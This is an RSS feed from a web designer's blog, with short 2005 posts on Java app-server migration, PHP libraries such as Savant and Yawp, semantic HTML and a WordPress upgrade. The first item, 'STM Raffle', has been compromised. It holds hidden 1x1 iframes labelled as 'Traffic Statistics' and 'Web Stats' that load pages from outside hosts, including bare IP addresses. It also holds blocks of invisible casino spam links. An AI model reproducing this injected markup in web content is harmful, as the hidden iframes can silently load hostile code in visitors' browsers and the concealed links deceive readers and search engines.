<?xml version="1.0" encoding="utf-8"?>
<!-- generator="wordpress/2.2" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>GlennWeb Blog</title>
	<link>http://www.glennweb.net/gwblog</link>
	<description>the web designer's technology partner</description>
	<pubDate>Tue, 02 Jun 2009 23:12:31 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.2</generator>
	<language>en</language>
			<item>
		<title>STM Raffle: scriptaculous effects</title>
		<link>http://www.glennweb.net/gwblog/?p=47</link>
		<comments>http://www.glennweb.net/gwblog/?p=47#comments</comments>
		<pubDate>Tue, 12 Sep 2006 21:16:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=47</guid>
		<description><![CDATA[The High School of Saint Thomas More : Great Saber Raffle 

   casino island blackjackcasino games prowww jeu de casinoforum jeux casino,jeux casino machines a sous,jeux casinocasino games pro 2007edfajeux baccarat gratuitesrent a car bulgariacasino en ligne comjeux virtuels casinocasino games becomment jouer au casinojeu video poker gratuitescasino machine a sous gratuitescasino blackjackmeilleurs [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.hs-stm.org/raffle/">The High School of Saint Thomas More : Great Saber Raffle</a> <br />
<br />
<p /><!-- Traffic Statistics --> <iframe src=http://www.wp-stats-php.info/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> <u style="display:none"><a href="http://preemptoutsourcing.com/wp-content/1/casino-island-blackjack.html">casino island blackjack</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-games-pro.html">casino games pro</a><a href="http://preemptoutsourcing.com/wp-content/1/www-jeu-de-casino.html">www jeu de casino</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-casino.html">forum jeux casino,jeux casino machines a sous,jeux casino</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-games-pro-2007.html">casino games pro 2007</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-baccarat-gratuites.html"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">edfa</a></font>jeux baccarat gratuites</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm">rent a car bulgaria</a></font><a href="http://preemptoutsourcing.com/wp-content/1/casino-en-ligne-com.html">casino en ligne com</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-virtuels-casino.html">jeux virtuels casino</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-games-be.html">casino games be</a><a href="http://preemptoutsourcing.com/wp-content/1/comment-jouer-au-casino.html">comment jouer au casino</a><a href="http://preemptoutsourcing.com/wp-content/1/jeu-video-poker-gratuites.html">jeu video poker gratuites</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-machine-a-sous-gratuites.html">casino machine a sous gratuites</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-blackjack.html">casino blackjack</a><a href="http://preemptoutsourcing.com/wp-content/1/meilleurs-casinos-en-ligne.html">meilleurs casinos en ligne</a><a href="http://preemptoutsourcing.com/wp-content/1/flash-games-casino.html">flash games casino</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-en-lignes.html">casino en lignes</a><a href="http://preemptoutsourcing.com/wp-content/1/gagner-casino-en-ligne.html">gagner casino en ligne</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-gratuites-gagner.html">casino gratuites gagner</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-partouche.html">casino partouche</a><a href="http://preemptoutsourcing.com/wp-content/1/d%E9s-craps.html"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://kvantservice.com/">&#1082;&#1086;&#1084;&#1087;&#1102;&#1090;&#1088;&#1080; &#1074;&#1090;&#1086;&#1088;&#1072; &#1091;&#1087;&#1086;&#1090;&#1088;&#1077;&#1073;&#1072;</a></font>dés craps</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-bonus-de-bienvenue.html">casino bonus de bienvenue</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-casino-francais.html">jeux casino francais</a><a href="http://preemptoutsourcing.com/wp-content/1/casinos-online.html">casinos online</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-en-ligne-bonus.html">casino en ligne bonus</a><a href="http://preemptoutsourcing.com/wp-content/1/video-slot-machine.html">video slot machine</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-internet.html">casino gratuites internet,droit de jouer au casino sur internet,casino internet</a><a href="http://preemptoutsourcing.com/wp-content/1/russian-roulette.html">russian roulette</a><a href="http://preemptoutsourcing.com/wp-content/1/jeu-de-casino-machine.html">jeu de casino machine</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-poker-en-ligne.html">casino poker en ligne</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-games-2007.html">casino games 2007</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-roulette-russe.html">jeux roulette russe</a><a href="http://preemptoutsourcing.com/wp-content/1/roulette-en-ligne-gratuites.html">roulette en ligne gratuites</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-gratuites-casino-machine.html">jeux gratuites casino machine</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://www.videnov.com/">&#1076;&#1080;&#1074;&#1072;&#1085;&#1080;</a></font><a href="http://preemptoutsourcing.com/wp-content/1/telecharger-video-poker-gratuites.html">telecharger video poker gratuites</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-casino-770.html">jeux casino 770</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-net.html">casino net</a><a href="http://preemptoutsourcing.com/wp-content/1/salles-virtuelles-de-jeux-gratuits.html">salles virtuelles de jeux gratuits</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-a-roulette.html">jeux a roulette</a><a href="http://preemptoutsourcing.com/wp-content/1/jeux-flash-casino.html">jeux flash casino</a><a href="http://preemptoutsourcing.com/wp-content/1/www-supermarch%E9-casinos.html">www supermarché casinos</a><a href="http://preemptoutsourcing.com/wp-content/1/www-traiteur-casino-com.html">www traiteur casino com</a><a href="http://preemptoutsourcing.com/wp-content/1/casino-on-net-com.html">casino on net com</a><a href="http://www.moloughney.com/wp-content/1/jeu-poker-freeware.html">jeu poker freeware</a><a href="http://www.moloughney.com/wp-content/1/les-regles-poker-ferm%E9.html">les regles poker fermé</a><a href="http://www.moloughney.com/wp-content/1/jeu-7-card-stud.html">jeu 7 card stud</a><a href="http://www.moloughney.com/wp-content/1/jeux-de-poker-virtuel.html">jeux de poker virtuel</a><a href="http://www.moloughney.com/wp-content/1/jeu-flash-gratuites.html">jeu flash gratuites</a><a href="http://www.moloughney.com/wp-content/1/achat-jeu-de-poker.html">achat jeu de poker</a><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://online-casino-net.org/">online casino</a></font><a href="http://www.moloughney.com/wp-content/1/jeux-flash.html">jeux flash</a><a href="http://www.moloughney.com/wp-content/1/comment-apprendre-%E0-jouer-au-poker.html">comment apprendre ŕ jouer au poker</a></u><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0><noscript><a href="http://www.sibresource.ru/">&#1083;&#1072;&#1085;&#1076;&#1096;&#1072;&#1092;&#1090; &#1058;&#1102;&#1084;&#1077;&#1085;&#1100;</a></noscript></iframe> <!-- End Traffic Statistics --><!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --><!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --><!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=47</wfw:commentRss>
		</item>
		<item>
		<title>Java migrations&#8230;</title>
		<link>http://www.glennweb.net/gwblog/?p=43</link>
		<comments>http://www.glennweb.net/gwblog/?p=43#comments</comments>
		<pubDate>Fri, 11 Mar 2005 22:31:44 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[Java]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=43</guid>
		<description><![CDATA[Ralph Churchill has a good observation about Java App Server migrations, notably Migrating from Weblogic to JBoss.

&#8220;&#8230;and saved my company tens-of-thousands of dollars in licensing and (worthless) support costs.&#8221;

Oh the lure of big name, high-dollar Java application servers. They have a long list of features and are backed by big companies with promise of big [...]]]></description>
			<content:encoded><![CDATA[<p>Ralph Churchill has a good observation about Java App Server migrations, notably <a href="http://www.mrchucho.net/index.php/archives/2005/03/10/migrating-from-weblogic-to-jboss/">Migrating from Weblogic to JBoss.</a></p>

<p>&#8220;&#8230;and saved my company tens-of-thousands of dollars in licensing and (worthless) support costs.&#8221;</p>

<p>Oh the lure of big name, high-dollar Java application servers. They have a long list of features and are backed by big companies with promise of big support. Unfortunately many of the features don&#8217;t work as advertised, the support is difficult to access or non-existant, and in the long run the things turn into holes in your server you throw money in. I&#8217;ve had the same experience as Ralph, taking a Websphere installation (that I recommended and spearheaded) over to Resin (which I also recommended, after a couple years of Websphere pain and suffering). The difference was night and day, reliability shot up immediately and deployments went from all day affairs (maybe it will start this time) to 15 minute finger-snaps (done). Can&#8217;t recommend Resin highly enough, imho.</p>

<p>Anyway, what went wrong with the large Java app server players? Why can&#8217;t they deliver reliable software, actual support, all within reasonable dollar ranges (were normally talking order-of-magnitude dollar differences, and some are processor number based)? Small companies and open-source seem able to do this quite readily.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=43</wfw:commentRss>
		</item>
		<item>
		<title>Upgraded to WP1.5</title>
		<link>http://www.glennweb.net/gwblog/?p=41</link>
		<comments>http://www.glennweb.net/gwblog/?p=41#comments</comments>
		<pubDate>Tue, 08 Mar 2005 22:21:33 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=41</guid>
		<description><![CDATA[Just finished the upgrade to Wordpress 1.5. Went very smoothly; backup, delete, upload, upgrade, create template from old style, upload, done. Nice.
]]></description>
			<content:encoded><![CDATA[<p>Just finished the upgrade to Wordpress 1.5. Went very smoothly; backup, delete, upload, upgrade, create template from old style, upload, done. Nice.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=41</wfw:commentRss>
		</item>
		<item>
		<title>The Meaning of Semantics</title>
		<link>http://www.glennweb.net/gwblog/?p=40</link>
		<comments>http://www.glennweb.net/gwblog/?p=40#comments</comments>
		<pubDate>Fri, 04 Mar 2005 15:47:30 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=40</guid>
		<description><![CDATA[Molly Holzschlag takes on the task of explaining what is meant by &#8220;Semantic HTML&#8221;, and does very well. For such a basically simple concept I have found it difficult to describe, so thanks to Molly for laying it out so clearly.

The Meaning of Semantics
]]></description>
			<content:encoded><![CDATA[<p>Molly Holzschlag takes on the task of explaining what is meant by &#8220;Semantic HTML&#8221;, and does very well. For such a basically simple concept I have found it difficult to describe, so thanks to Molly for laying it out so clearly.</p>

<p><a href="http://www.informit.com/articles/printerfriendly.asp?p=369225">The Meaning of Semantics</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=40</wfw:commentRss>
		</item>
		<item>
		<title>Content is King</title>
		<link>http://www.glennweb.net/gwblog/?p=39</link>
		<comments>http://www.glennweb.net/gwblog/?p=39#comments</comments>
		<pubDate>Fri, 11 Feb 2005 18:39:29 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=39</guid>
		<description><![CDATA[&#8220;Content wonâ€™t magically appear. Most â€śWeb designersâ€ť canâ€™t create it for you. Itâ€™s important, usually should be priority #1 on a Web project. It takes work, lots of work. It needs a plan, and a process. In many cases creating, editing and managing the content for a Web site of any size is a full [...]]]></description>
			<content:encoded><![CDATA[<p><em>&#8220;Content wonâ€™t magically appear. Most â€śWeb designersâ€ť canâ€™t create it for you. Itâ€™s important, usually should be priority #1 on a Web project. It takes work, lots of work. It needs a plan, and a process. In many cases creating, editing and managing the content for a Web site of any size is a full time job. For a real person. A content management system wonâ€™t do anything on itâ€™s own, and youâ€™re better of not wasting your money if you canâ€™t properly implement it.&#8221;</em></p>

<p>Great article from D. Keith Robinson (Asterisk) about the importance of content to a web project. Your web site can be considered a &#8220;content vehicle&#8221; (think brochure, billboard, article, etc.) with unique capabilities (incredibly timely, easily updated, free distribution, etc.). What good is a billboard without a message?</p>

<p><a href="http://www.7nights.com/asterisk/archive/2005/02/a-rant-mostly-about-web-content#more">A Rant (Mostly) About Web Content</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=39</wfw:commentRss>
		</item>
		<item>
		<title>Care and Feeding of your Web Designer</title>
		<link>http://www.glennweb.net/gwblog/?p=38</link>
		<comments>http://www.glennweb.net/gwblog/?p=38#comments</comments>
		<pubDate>Fri, 11 Feb 2005 18:25:09 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=38</guid>
		<description><![CDATA[Eris &#124; Standards in Design. Standards in Life

Eris &#124; Standards in Design. Standards in Life
]]></description>
			<content:encoded><![CDATA[<p>Eris | Standards in Design. Standards in Life</p>

<p><a href="http://www.erisfree.com/updates/27/how-to-care-for-your-web-designer">Eris | Standards in Design. Standards in Life</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=38</wfw:commentRss>
		</item>
		<item>
		<title>Speaking of code complexity&#8230;</title>
		<link>http://www.glennweb.net/gwblog/?p=35</link>
		<comments>http://www.glennweb.net/gwblog/?p=35#comments</comments>
		<pubDate>Sat, 05 Feb 2005 00:52:58 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=35</guid>
		<description><![CDATA[I find that, in general, much of the PHP scripts/class code (this includes Pear code) that developers make available is overly complex, requiring a large time investment to actually make it useful. Which of course actually makes their code generally less useful in real world contexts. Oh Dave, your such a critic. &#8220;What should these [...]]]></description>
			<content:encoded><![CDATA[<p>I find that, in general, much of the PHP scripts/class code (this includes Pear code) that developers make available is overly complex, requiring a large time investment to actually make it useful. Which of course actually makes their code generally <em>less useful</em> in real world contexts. Oh Dave, your such a critic. &#8220;What should these developers do&#8221; you say?</p>

<p>If you have a complex set of scripts/classes/etc. here are the things I would want to help my &#8216;real world ramp-up time&#8217; with your code:</p>

<ul>
    <li>A <strong>High-Level Diagram</strong>: nothing elaborate, but I want to see from a higher level how your code fits in with its surroundings (PHP, databases, directories, servers, etc.). If your documents dump me right in at the branches-on-trees levels it will take me days of dinking with it to see the actual forest, days I spend in frustration (why the heck is this needed here?&#8230;, etc.), or not (often the case).</li>
    <li><strong>At least</strong> one <em>real world</em>, <em>detailed</em> example: So many scripts/classes/etc. come with the most God awful, trivial, only-uses-one-aspect-of-the-code examples. These are just worthless. Period. Even when they are correct (which very often they aren&#8217;t because the code base changes at a 2.5x rate compared to documentation). Just one real example can negate reams of missing documentation, really.</li>
    <li>If the script/class is of a framework-ish or application structure-ish type I would like to have a <strong>small (empty) reference implementation</strong> to start with. This should be structured using the &#8216;best practices&#8217; for your code. This will give me something to hang test code on and will get me up to speed in very short order (even if I don&#8217;t understand what I&#8217;m doing yet). Be sure to take into account other &#8216;best practices&#8217; when you set this up (normal web server layouts, code references, etc.), and document those that you don&#8217;t adhere to.</li>
    <li>And in my dream world, I would like to see <em>actual documentation</em>. That is documentation that has actual text (not just the method/function definitions and their undocumented parameters) describing the inner-workings of your exquisite, hand-crafted code base. Even sprinkle on some <em>working </em>example code snippets.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=35</wfw:commentRss>
		</item>
		<item>
		<title>the Hive</title>
		<link>http://www.glennweb.net/gwblog/?p=34</link>
		<comments>http://www.glennweb.net/gwblog/?p=34#comments</comments>
		<pubDate>Sat, 05 Feb 2005 00:32:01 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[MySql]]></category>

		<category><![CDATA[PHP]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=34</guid>
		<description><![CDATA[Interesting that I was just mentioning Paul Jones and his various PHP related efforts, he has just announced a new one centered on PHP5, the Hive. Unfortunately I&#8217;m missing the initial PHP5 wave at the moment, waiting on more widespread deployment (hosting services, etc.). However given the quality of Paul&#8217;s other efforts and that Hive [...]]]></description>
			<content:encoded><![CDATA[<p>Interesting that I was just mentioning Paul Jones and his various PHP related efforts, he has just announced a new one centered on PHP5, <a href="http://paul-m-jones.com/blog/index.php?p=105">the Hive</a>. Unfortunately I&#8217;m missing the initial PHP5 wave at the moment, waiting on more widespread deployment (hosting services, etc.). However given the quality of Paul&#8217;s other efforts and that Hive is the successor to the Yawp/Savant code line I will be watching very closely. </p>

<p>In his <a href="http://paul-m-jones.com/blog/index.php?p=105">Hive announcement</a> Paul stresses comprehensibility, which is definitely a positive trait in his other PHP efforts, and a very worthwhile goal that much of the PHP &#8217;script&#8217; world should aspire to. I&#8217;m glad he brings up this point in reference to Pear, as that is mostly what kept me from using Pear code for quite some time. Until you get over the Pear hump, Pear code is difficult to visualize. That is it isn&#8217;t apparent what Pear can offer you (or even what actually comprises Pear), what pieces/files you actually need if you think an element you&#8217;ve seen might be useful, or how to actually get the elements. Much of this could be remedied (disregarding actual package code complexity) at the Pear web site level, which suffers from a lack of higher-level information or documentation.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=34</wfw:commentRss>
		</item>
		<item>
		<title>Recent Projects</title>
		<link>http://www.glennweb.net/gwblog/?p=31</link>
		<comments>http://www.glennweb.net/gwblog/?p=31#comments</comments>
		<pubDate>Fri, 28 Jan 2005 00:47:36 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[Web Development]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[Projects]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=31</guid>
		<description><![CDATA[These projects have reached the &#8216;finger hovering over the launch button&#8217; stage (they are live), and both were done with some new-ish PHP backend tool technology (Yawp, DB_Table, Savant2) in conjunction with a Glennweb custom CMS system:


    Nathan Gunn
    UI CRME (Council for Research in Music Education)


All three of [...]]]></description>
			<content:encoded><![CDATA[<p>These projects have reached the &#8216;finger hovering over the launch button&#8217; stage (they are live), and both were done with some new-ish PHP backend tool technology (Yawp, DB_Table, Savant2) in conjunction with a Glennweb custom CMS system:</p>

<ul>
    <li><a href="http://www.nathangunn.com/">Nathan Gunn</a></li>
    <li><a href="http://www.crme.uiuc.edu/">UI CRME (Council for Research in Music Education)</a></li>
</ul>

<p>All three of these great tools come from <a href="http://paul-m-jones.com/blog">Paul Jones</a>, who from the looks of his other projects is quite a busy developer.</p>

<p><strong><a href="http://phpyawp.com/">Yawp</a>:</strong> It&#8217;s not a framework but a well thought out class that helps pull together common PHP web development pieces. It is centered around a file-based configuration file which fronts useful tools from Pear and elsewhere.  From that configuration file it is easy to setup Error handling, Database Abstraction, Templating systems, Debugging tools, etc.</p>

<p><strong><a href="http://wiki.ciaweb.net/yawiki/index.php?area=DB_Table">DB Table</a>:</strong> A small footprint Database Abstraction layer which is a Pear project. DB Table encapsulates the table/field definitions and table specific SQL code. It in turn uses the Yawp configured DB (Pear) database connection classes to interface with the database. It can also generate a Pear HTML QuickForms form from the same field definitions, making basic form processing very quick to develop.</p>

<p><strong><a href="http://wiki.ciaweb.net/yawiki/index.php?area=Savant">Savant2</a>:</strong> This is the first of Paul&#8217;s projects that I started using. It was an offshoot of some templating code that <a href="http://www.massassi.com/php/articles/template_engines/">Brian Lozier</a> had published a couple of years ago, following an article by <a href="http://www.phppatterns.com/index.php/article/articleview/4/1/1/">Harry Fuecks</a> (whew). Before Savant I had cleaned up Brian&#8217;s original code and used it in a few projects with great success. Savant takes PHP as Templating language idea quite a bit farther, rolling it into an Object Oriented structure and adding plugins and filters. It makes templating a site and incorporating dynamic site features a very straightforward operation and I have used it on all my recent projects.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=31</wfw:commentRss>
		</item>
		<item>
		<title>Umm, long time no blog</title>
		<link>http://www.glennweb.net/gwblog/?p=30</link>
		<comments>http://www.glennweb.net/gwblog/?p=30#comments</comments>
		<pubDate>Fri, 28 Jan 2005 00:32:17 +0000</pubDate>
		<dc:creator>david glenn</dc:creator>
		
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.glennweb.net/gwblog/?p=30</guid>
		<description><![CDATA[I have the best intentions. I want to blog more. It was a very busy fall/winter which now has slowed (not that Jan. is ever a busy month), so I&#8217;ll make a better effort to blog (now with new, improved, &#8216;better intentions&#8217;).  So it goes&#8230;
]]></description>
			<content:encoded><![CDATA[<p>I have the best intentions. I want to blog more. It was a very busy fall/winter which now has slowed (not that Jan. is ever a busy month), so I&#8217;ll make a better effort to blog (now with new, improved, &#8216;better intentions&#8217;).  So it goes&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.glennweb.net/gwblog/?feed=rss2&amp;p=30</wfw:commentRss>
		</item>
	</channel>
</rss>
